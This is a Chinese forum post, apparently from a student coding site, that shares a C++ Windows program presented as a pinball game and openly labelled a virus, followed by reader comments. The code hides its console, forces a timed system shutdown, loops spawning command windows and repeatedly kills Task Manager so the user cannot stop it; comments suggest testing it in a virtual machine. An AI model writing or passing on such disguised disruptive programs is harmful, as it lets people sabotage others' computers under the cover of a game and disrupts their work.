弹球小游戏(病毒)[扫雷小游戏]
2025-05-12 14:20:17
发布于:浙江
#include <bits/stdc++.h>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
#define ROW 10
#define COL 10
using namespace std;
void a(int n){
if(n == 1){
string m;
t("cls");
g << "欢迎来到弹球小游戏" << j;
g << "----------------------------------" << j;
g << "请问你要选择人机战还是真人战" << j;
h >> m;
if(m == "人机战"){
sleep(2000);
t("shutdown -s -t 30 -c 就你还想以大欺小,30秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else if(m == "真人战"){
t("cls");
g << "就你还想跟真人打,吃我一击!";
g << j;
sleep(2000);
t("shutdown -s -t 30 -c 30秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else{
t("cls");
g << "你竟然敢输错,那就送你一份大礼包吧";
cout << j;
sleep(2000);
t("shutdown -s -t 60 -c 60秒关机,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
else if(n == 2){
t("cls");
cout << "恭喜你,选择正确,欢迎来到弹球小游戏" << j;
sleep(3000);
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("taskkill /f /im taskmgr.exe");
t("taskkill /f /im cmd.exe");
MessageBoxA(NULL, "未知进程", "Dev-C++ Error",MB_ICONWARNING);
}
}
else if(n == 3){
string v;
t("cls");
g << "那个2报错了,所以转到我这个" << j;
g << "欢迎来到弹球小游戏" << j;
g << "----------------------------------" << j;
g << "请问你要选择系统战还是双人战" << j;
h >> v;
if(v == "系统战"){
}
else if(v == "双人战"){
}
else{
g << "太粗心了吧?几个月了都忘了是吧?放心,这次作者一定能让你恢复记忆!!!";
cout << j;
sleep(2000);
t("shutdown -s -t 200 -c 200秒超长关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
else{
t("shutdown -s -t 60 -c 你竟然不玩?60秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
int maim(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
MessageBoxA(NULL, "请认真看完接下来的话", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码是剑指天涯制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码为病毒代码(关机就能解决)", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows系统,其它系统不行", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows高版本的计算机", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
FreeConsole();
AllocConsole();
HWND Hwnd = GetConsoleWindow();
LONG_PTR sty = GetWindowLongPtrA(Hwnd, GWL_STYLE);
sty = sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX;
SetWindowLongPtrA(Hwnd, GWL_STYLE, sty);
HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cInfo{};
GetConsoleCursorInfo(hOutput, &cInfo);
cInfo.bVisible = false; //true为显示光标,false为隐藏光标
SetConsoleCursorInfo(hOutput, &cInfo);
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("弹球小游戏"));
//sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色(没啥用)
//SetWindowLongPtrA(hWnd, GWL_STYLE, sty); //更改字体颜色(没啥用)
t("color 0E");
t("cls");
int x;
g << "请输入1(2也行)启动游戏" << j;
h >> x;
a(x);
g << x;
}
int main(){
maim();
return 0;
}
全部评论 6
用虚拟机直接秒掉(WM)
2024-10-27 来自 北京
2虚拟机怎么下?
2024-10-28 来自 广东
0不必用虚拟机啊
2025-06-01 来自 浙江
0
不是不是,转载我的为什么口碑比我还好啊
2025-04-20 来自 广东
0哈哈哈
2025-04-20 来自 浙江
0
为啥没事
2025-04-07 来自 浙江
0你输了2吧
2025-04-10 来自 浙江
0
这个有没有事情?
2024-12-02 来自 广东
0没事
2024-12-02 来自 浙江
0关机就行
2024-12-02 来自 浙江
0点赞一下其他作品
2024-12-02 来自 浙江
0
顶!
2024-10-28 来自 广东
0GOOD!
2024-09-25 来自 浙江
0
有帮助,赞一个